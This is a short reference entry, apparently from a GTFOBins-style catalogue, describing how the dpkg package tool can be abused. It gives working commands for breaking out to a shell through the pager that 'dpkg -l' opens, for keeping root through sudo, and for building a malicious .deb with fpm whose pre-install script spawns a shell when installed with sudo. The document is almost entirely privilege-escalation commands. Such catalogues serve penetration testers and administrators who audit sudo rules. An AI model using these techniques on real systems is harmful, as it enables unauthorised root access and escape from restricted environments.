Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

This invokes the default pager, which is likely to be less, other functions may apply.

dpkg -l
!/bin/sh

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

This invokes the default pager, which is likely to be less, other functions may apply.

sudo dpkg -l
!/bin/sh

It runs an interactive shell using a specially crafted Debian package. Generate it with fpm and upload it to the target.

TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

sudo dpkg -i x_1.0_all.deb